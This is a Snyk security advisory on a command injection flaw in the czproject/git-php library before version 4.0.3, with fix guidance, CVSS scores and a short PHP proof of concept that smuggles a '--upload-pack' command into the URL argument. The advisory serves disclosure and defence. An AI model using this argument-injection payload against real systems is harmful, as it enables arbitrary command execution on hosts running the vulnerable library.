Command Injection Affecting czproject/git-php package, versions <4.0.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.17% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-CZPROJECTGITPHP-2421349
  • published 25 Apr 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade czproject/git-php to version 4.0.3 or higher.

Overview

czproject/git-php is a Library for work with Git repository in PHP.

Affected versions of this package are vulnerable to Command Injection via git argument injection. When calling the isRemoteUrlReadable($url, array $refs = NULL) function, both the url and refs parameters are passed to the git ls-remote subcommand in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

<?php
require('./vendor/autoload.php');

$git = new CzProject\GitPhp\Git;

$url = "--upload-pack=touch ./HELLO";

$git->isRemoteUrlReadable($url, ["refs"]);

?>

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical